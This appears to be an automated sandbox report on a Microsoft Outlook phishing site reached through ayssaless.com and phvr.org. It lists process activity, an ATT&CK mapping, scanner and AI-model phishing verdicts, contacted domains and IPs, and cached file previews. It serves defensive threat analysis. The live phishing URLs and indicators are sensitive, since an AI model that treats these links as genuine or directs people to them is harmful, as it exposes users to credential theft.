Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1852,i,12767476324253814656,13431870517047841025,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://ayssaless.com/?dybkhjzu	0%	Avira URL Cloud	safe
https://ayssaless.com/?dybkhjzu	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
http://knockoutjs.com/	0%	URL Reputation	safe
https://login.windows-ppe.net	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
http://www.opensource.org/licenses/mit-license.php)	0%	URL Reputation	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	0%	URL Reputation	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/89da16dad8d74243/1720043409263/BGklw8ERV6X92zV	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/g/d2a97f6b6ec9/api.js	0%	Avira URL Cloud	safe
https://github.com/douglascrockford/JSON-js	0%	Avira URL Cloud	safe
https://ayssaless.com/favicon.ico	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	0%	Avira URL Cloud	safe
http://www.json.org/json2.js	0%	Avira URL Cloud	safe
https://phvr.org/	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/89da16dad8d74243/1720043409268/4cbea6bdec3ef6990ccfedda2ef1a55585db0d80cdc1a200bd58117d25703da1/KPMbw5S5tDAhQT0	0%	Avira URL Cloud	safe
https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js	0%	Avira URL Cloud	safe
https://phvr.org/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3BodnIub3JnLyIsImRvbWFpbiI6InBodnIub3JnIiwia2V5IjoiamY3WVhkSU1Fa0hKIiwicXJjIjpudWxsLCJpYXQiOjE3MjAwNDM0MzUsImV4cCI6MTcyMDA0MzU1NX0.JAs1Sod8yix7ia_730oaWYfQG1KpZbxKGumi-KumUlc	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462	0%	Avira URL Cloud	safe
http://github.com/requirejs/almond/LICENSE	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=89da16dad8d74243	0%	Avira URL Cloud	safe
https://phvr.org/favicon.ico	0%	Avira URL Cloud	safe
https://phvr.org/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_sw-M8KkV3_nBot-G1ImRcw2.js	0%	Avira URL Cloud	safe
https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
ayssaless.com	185.143.223.70	true	false	unknown
challenges.cloudflare.com	104.17.2.184	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
www.google.com	172.217.16.132	true	false	unknown
HHN-efz.ms-acdc.office.com	52.98.228.50	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
phvr.org	185.143.223.70	true	true	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
c.s-microsoft.com	unknown	unknown	false	unknown
r4.res.office365.com	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown
assets.onestore.ms	unknown	unknown	false	unknown
i.s-microsoft.com	unknown	unknown	false	unknown
ajax.aspnetcdn.com	unknown	unknown	false	unknown
outlook.office365.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal	false		unknown
https://outlook.office365.com/owa/prefetch.aspx	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/89da16dad8d74243/1720043409263/BGklw8ERV6X92zV	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/g/d2a97f6b6ec9/api.js	false	Avira URL Cloud: safe	unknown
https://phvr.org/owa/	true		unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false	Avira URL Cloud: safe	unknown
https://phvr.org/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3BodnIub3JnLyIsImRvbWFpbiI6InBodnIub3JnIiwia2V5IjoiamY3WVhkSU1Fa0hKIiwicXJjIjpudWxsLCJpYXQiOjE3MjAwNDM0MzUsImV4cCI6MTcyMDA0MzU1NX0.JAs1Sod8yix7ia_730oaWYfQG1KpZbxKGumi-KumUlc	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/89da16dad8d74243/1720043409268/4cbea6bdec3ef6990ccfedda2ef1a55585db0d80cdc1a200bd58117d25703da1/KPMbw5S5tDAhQT0	false	Avira URL Cloud: safe	unknown
https://ayssaless.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://phvr.org/	true	Avira URL Cloud: safe	unknown
https://phvr.org/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_sw-M8KkV3_nBot-G1ImRcw2.js	true	Avira URL Cloud: safe	unknown
https://ayssaless.com/?dybkhjzu	true		unknown
https://ayssaless.com/?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	URL Reputation: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=89da16dad8d74243	false	Avira URL Cloud: safe	unknown
https://phvr.org/favicon.ico	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://knockoutjs.com/	chromecache_106.2.dr, chromecache_136.2.dr	false	URL Reputation: safe	unknown
https://github.com/douglascrockford/JSON-js	chromecache_136.2.dr	false	Avira URL Cloud: safe	unknown
https://login.windows-ppe.net	chromecache_100.2.dr	false	URL Reputation: safe	unknown
https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js	chromecache_106.2.dr	false	Avira URL Cloud: safe	unknown
http://www.json.org/json2.js	chromecache_106.2.dr	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com	chromecache_100.2.dr	false	URL Reputation: safe	unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_106.2.dr, chromecache_136.2.dr	false	URL Reputation: safe	unknown
https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css	chromecache_144.2.dr, chromecache_118.2.dr	false	Avira URL Cloud: safe	unknown
http://github.com/requirejs/almond/LICENSE	chromecache_113.2.dr, chromecache_141.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
52.98.228.50	HHN-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.143.223.70	ayssaless.com	Russian Federation	204718	INFORMTECH-ASRU	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.16.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467267
Start date and time:	2024-07-03 23:49:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://ayssaless.com/?dybkhjzu
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.win@22/109@38/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://phvr.org/owa/ Browse: https://go.microsoft.com/fwlink/p/?LinkId=780766

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.195, 142.250.184.206, 64.233.166.84, 34.104.35.123, 52.165.165.26, 199.232.210.172, 192.229.221.95, 13.95.31.18, 52.165.164.15, 20.190.159.68, 20.190.159.23, 20.190.159.75, 40.126.31.69, 40.126.31.67, 20.190.159.0, 20.190.159.2, 20.190.159.4, 142.250.185.234, 142.250.185.170, 142.250.185.202, 216.58.212.170, 142.250.184.202, 142.250.186.42, 172.217.18.10, 142.250.74.202, 142.250.185.138, 216.58.206.42, 172.217.16.138, 142.250.186.74, 142.250.186.138, 142.250.181.234, 216.58.212.138, 142.250.185.106, 23.38.98.96, 23.38.98.104, 152.199.19.160, 95.101.149.131, 184.28.89.233, 104.102.37.192, 2.16.164.81, 2.16.164.113, 2.18.64.205, 2.18.64.214, 88.221.125.143, 142.250.185.131, 184.28.89.167, 23.35.229.160, 23.211.5.92
Excluded domains from analysis (whitelisted): assets.onestore.ms.edgekey.net, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, i.s-microsoft.com.edgekey.net, e11290.dspg.akamaiedge.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, ocsp.digicert.com, login.live.com, update.googleapis.com, wu-b-net.trafficmanager.net, e10583.dspg.akamaiedge.net, e40491.dscg.akamaiedge.net, fs.microsoft.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, cmspreview2.corp.microsoft.com, aadcdn.msauth.net, assets.onestore.ms.akadns.net, c-s.cms.ms.akadns.net, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, c.s-microsoft.com-c.edgekey.net, clients.l.google.com, privacy.microsoft.com.edgekey.net, www.tm.lg.prod.aadmsa.trafficmanager.net, a1449.dscg2.akamai.net, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, mscomajax.vo.msecnd.net, go.microsoft.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, img-prod
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://ayssaless.com/?dybkhjzu

Input	Output
URL: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTA Model: Perplexity: mixtral-8x7b-instruct	{"loginform": true,"urgency": false,"captcha": false,"reasons": ["The webpage contains a login form which explicitly requests sensitive information such as passwords, email addresses, usernames, phone numbers or credit card numbers (CVV). This is evident as it asks the user to sign in to continue to Outlook, email, phone, or Skype and provides an option to create an account if one does not exist.","The text does not create a sense of urgency or interest as it does not contain phrases such as 'Click here to view document', 'To view secured document click here', or 'Open the link to see your invoice'.","There is no CAPTCHA or anti-robot detection mechanism present on the webpage."]}
Title: oiwrkp7ide OCR: Outlook Microsoft Sign in to continue to Outlook Email, phone, or Skype No account? Create one! Can't access your account? Next Sign-in options Terms of use Privacy &
URL: https://phvr.org Model: gpt-4o	```json{ "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_prominent_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": true, "legitmate_domain": "outlook.com", "reasons": "The URL 'https://phvr.org' does not match the legitimate domain name 'outlook.com' associated with Microsoft Outlook. The page prominently displays a login form, which is a common tactic used in phishing attacks to capture user credentials. Additionally, the domain 'phvr.org' is suspicious and does not correspond to any known Microsoft domain. The presence of a login form without a CAPTCHA further raises suspicion. The combination of these factors strongly suggests that this is a phishing site."}

URL: https://phvr.org/owa/ Model: Perplexity: mixtral-8x7b-instruct	{"loginform": false,"urgency": false,"captcha": false,"reasons": ["The webpage does not contain a login form requesting sensitive information.","The text does not create a sense of urgency or interest.","The webpage does not contain a CAPTCHA or any other anti-robot detection mechanism."]}
Title: fp7m55cse8 OCR: Microsoft Privacy Privacy dashboard Privacy report Privacy settings Privacy Statement Consumer Health Data Privacy Policy v Expand All Microsoft Privacy Statement Print Last Updated: June 2024 What's new? Your privacy is important to us. This privacy statement explains the personal data Microsoft processes, how Microsoft processes it, and for what purposes. Microsoft offers a wide range of products, including server products used to help operate enterprises worldwide, devices you use in your home, software that students use at school, and services developers use to create and host what's next. References to Microsoft products in this statement include Microsoft services, websites, apps, software, servers, and devices. Please read the product-specific details in this privacy statement, which provide additional relevant information. This statement applies to the interactions Microsoft has with you and the Microsoft products listed below, as well as other Microsoft products that display this statement. Young people may prefer starting with the Privacy for young people page. That page highlights information that may be helpful for young people. For individuals in the United States, please refer to our U.S. State Data Privacy Notice and the Washington State Consumer Health Data Privacy Policy for additional information about the processing of your personal data, and your rights under applicable U.S. State data privacy laws. Personal data we collect Personal data we collect How we use personal data Reasons we share personal data Microsoft collects data from you, through our interactions with you and through our products. You How to access and control your personal data provide some of this data directly, and we get some of it by collecting data about your interactions, use, and experiences with our products. The data we collect depends on the context of your interactions with Cookies and similar technologies Microsoft and the choices you make, including your privacy settings and the products and features you Products provided by your organizationnotice to use. We also obtain data about you from third parties. end users If you represent an organization, such as a business or school, that utilizes Enterprise and Developer Microsoft account Products from Microsoft, please see the Enterprise and developer products section of this privacy statement to learn how we process your data. If you are an end user of a Microsoft product or a Microsoft Collection of data from children account provided by your organization, please see the Products provided by your organization and the Other important privacy information Microsoft account sections for more information.
URL: https://privacy.microsoft.com/en-US/updates Model: Perplexity: mixtral-8x7b-instruct	{"loginform": false,"urgency": false,"captcha": false,"reasons": ["The webpage does not contain a login form, so there is no need to enter sensitive information.","The text does not create a sense of urgency, it is informational and discusses changes to the Microsoft Privacy Statement.","There is no CAPTCHA or anti-robot detection mechanism present on the webpage."]}
Title: Change history for Microsoft Privacy Statement Microsoft privacy OCR: Microsoft Privacy Privacy dashboard Privacy report Privacy settings Privacy Statement Consumer Health Data Privacy Policy Change History for Microsoft Privacy Statement Back to the privacy statement June 2024 We created a new Artificial Intelligence and Microsoft Copilot capabilities section, to better describe our Copilot offerings, and moved our previous "Artificial Intelligence" section Into this new section. We updated our How we use personal data section to clarify our use of data to conduct research. We clarified in our Reasons we share personal data section how we share data when necessary to protect the safety of our customers, organizations, and the public. We revised the Collection of data from children and the Microsoft Family sections to provide more detail about how child accounts are added to a parent's family group. The Collection of data from Children section was updated to clarify how Xbox-specific Family Safety settings apply and how data is used when a child uses Xbox. We modified our Diagnostics section under Windows to note when diagnostic data is collected and sent to Microsoft. We added a new Cross-device experiences section to describe how you can access your mobile device from your PC using your Microsoft account. We revised the Web browsers Microsoft Edge Legacy and Internet Explorer section to better describe how you can access your data on all signed-in browsers on your devices, and how information is shared with your default search provider. We clarified what media content can be read by Windows Media Player Legacy when you use that service to play and access media. We revised the Xbox section to better describe how data is used to provide our services and curated experiences. Under Microsoft Start, we included information about how your location is used when you access the weather app. We removed references to services that will no longer be available or supported, such as Cortana, Spend, and sharing Windows location information with location services partners. April 2024 We updated our Skype and SwiftKey sections to include additional information on the camera features of these services. We clarified what data we collect through your use of SwiftKey and how you can control your personal data preferences through your SwiftKey account.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3437), with CRLF line terminators
Category:	downloaded
Size (bytes):	3439
Entropy (8bit):	5.12253249098629
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULMO34UiEBGLosqAsosushswsosry:a2IYz95oTEBac
MD5:	6635D7000669B3B00D3577DB7EE58F5D
SHA1:	7DB793D847EDC78B731185C85AD93BA4761D139B
SHA-256:	4E52043A45804E7CDB6C9D09A0F64A4293082E6F32BB3D689BE4822A6E18BACB
SHA-512:	FE3D01776B8D98E975D4DB6E956196B0D5602563E0252BD960A5A739D591F3AC96F5F2EF48EF6B49286822D80106932C104B324BD355EBE1D2FEFCB124D5866B
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 35900, version 0.0
Category:	downloaded
Size (bytes):	35900
Entropy (8bit):	7.989413276112553
Encrypted:	false
SSDEEP:	768:d1DM2UJJ9OKKukRdfijklR4f0Ki9NkmeWkujUkTl68TEG4sI:LD7RKKukRdfukKiDq3ITEl
MD5:	70C1D43A35B7A48D088D830EA07FCF77
SHA1:	025E0E281139C70C5538E09BFA7927141AF0CC0B
SHA-256:	942E5DD201200674506B0DF50C1AFEF021FFF6D5BD7BB7F600DED8617DBCB386
SHA-512:	E40B2CEAA1F672891BFF21F7C22A8B473DCF998FDC0A74B3DD1999190BA281C330C871D4BC82F89561E2AD7D97FE3169F33748AD368184BD1B4850941822D921
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/semibold/latest.woff
Preview:	wOFF.......<................................OS/2...D...W...`K..rcmap..............<.cvt .......y....c.e0fpgm...,.......5.KV.gasp................glyf......sH.......$head...0...6...6....hhea...h...!...$...Jhmtx................loca...L.........z.@maxp...H... ... .N.?name...h........!MG$post...X....... .Q.wprep...l........[...x.c`fie.``e.`..j...(.../2.1.q.2q.3..!.s...2........+(.)..X/..d..X.......ca`.......1..e.x.e.}L.U..?.."e.\4.4..(8_R.#....MM.Z[[.%*....(& .Q...:G.ZF..2..{....i^n.ee..Vx...1...=...vv>....D........:..'...t.z......k....MP...S..\|-.RU.VuNog..3.)r.;+.:.C.s.........w....'h.M..e.k2M..e.C.nz...n...Mq{.i.`w....g..8......}..!..Gir5HC5B#.H..I=..U.rU.xR;..t.-....MO.j.7&.3..n.I.<.u...x......_&V..$..b3...o.....l...b...M...]..^=xv.^.7(....z...e..tT.&.1.:R..E.K....k!..UY.4......P}.:8g..m?.......JT.;.....5....T.oS...z....&t[..M.y..~x..b.&...........d..J.d..j.u.f^.8.U.V..OZ....)N..3..z...\|>.4.s..\|.U.h....=fq.:..+.f6..+.P...1.bJ.1.R.1.....E,.g.y.%,......eTY./.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://phvr.org/aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31463), with no line terminators
Category:	downloaded
Size (bytes):	31463
Entropy (8bit):	5.335245781249028
Encrypted:	false
SSDEEP:	384:ekorlyEMfQ8sW5hXDi/iE3adOdoIB4mqdRyedRyNWGyIWGyeoQys05DU7uj5hypb:0o1Di5+OOYbsp0yK3FJ12V2+vr/eoq
MD5:	7148585ECACB77E3EC38A7423D557F0A
SHA1:	3F4428AB18D492318AEC5AD51D4BD22B67BC3955
SHA-256:	9AF3C8E1B582FEBECEF2A475989DC02902A772CEFAC1896C9BAAAFD218D2CA04
SHA-512:	82E8B4FF7B55C9D7F4AE010ED2FBCA757547A88D2BB52C8C2E01AC416594B5CFD608260844FEA93501BD3C4B289A5EBA69412B2643A2C6BF01602163FF6F5B46
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=08e9f1ba-f4e7-80f5-d4c5-f75b4dc5cf51
Preview:	function ShowSelectedComponentKeyPress(n,t){if(window.event.keyCode==13)return ShowSelectedComponent(n,t),!1}function SetRightSideNavigationMenuHeight(){$("[id^=dvModuleGroup_]").hide();window.location.search.toLowerCase().indexOf("bookmarkid")!=-1&&SelectBookMark();window.location.search.toLowerCase().indexOf("componentid")!=-1&&LoadSelectedInternalLink();$(".div_side_comp").length>0&&$(".div_content").css("min-height",$(".div_side_comp").height()-27)}function ShowSelectedComponent(n,t){var i=$("#"+t).attr("data-parentModule");return i!=undefined&&i!=null&&($("[data-parentmodule="+i+"]").show(),$("#"+i+" [id$=_LongDescription]").length>0?(document.getElementById(i+"_LongDescription").style.display="block",document.getElementById(i+"_ShortDescription").style.display="none",ShowText($("#"+i+".learnMoreLabel"),"long",t)):ShowText($("#"+i+".learnMoreLabel"),"long",t),DisplayTopNavigation(i)),$("html, body").animate({scrollTop:$("#"+t).offset().top-1},800),!1}function ShowToolTip(){var n,i

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32047)
Category:	downloaded
Size (bytes):	95931
Entropy (8bit):	5.394232486761965
Encrypted:	false
SSDEEP:	1536:5P1vk7i6GUHdXXeyQazBu+4HhiO2AEeLNFoqqhJ7SerN5sVI6xcBgPv7E+nzms9d:A4Ud4qhJvNPqcB47MfWWca98HrB
MD5:	5790EAD7AD3BA27397AEDFA3D263B867
SHA1:	8130544C215FE5D1EC081D83461BF4A711E74882
SHA-256:	2ECD295D295BEC062CEDEBE177E54B9D6B19FC0A841DC5C178C654C9CCFF09C0
SHA-512:	781ACEDC99DE4CE8D53D9B43A158C645EAB1B23DFDFD6B57B3C442B11ACC4A344E0D5B0067D4B78BB173ABBDED75FB91C410F2B5A58F71D438AA6266D048D98A
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.2.min.js
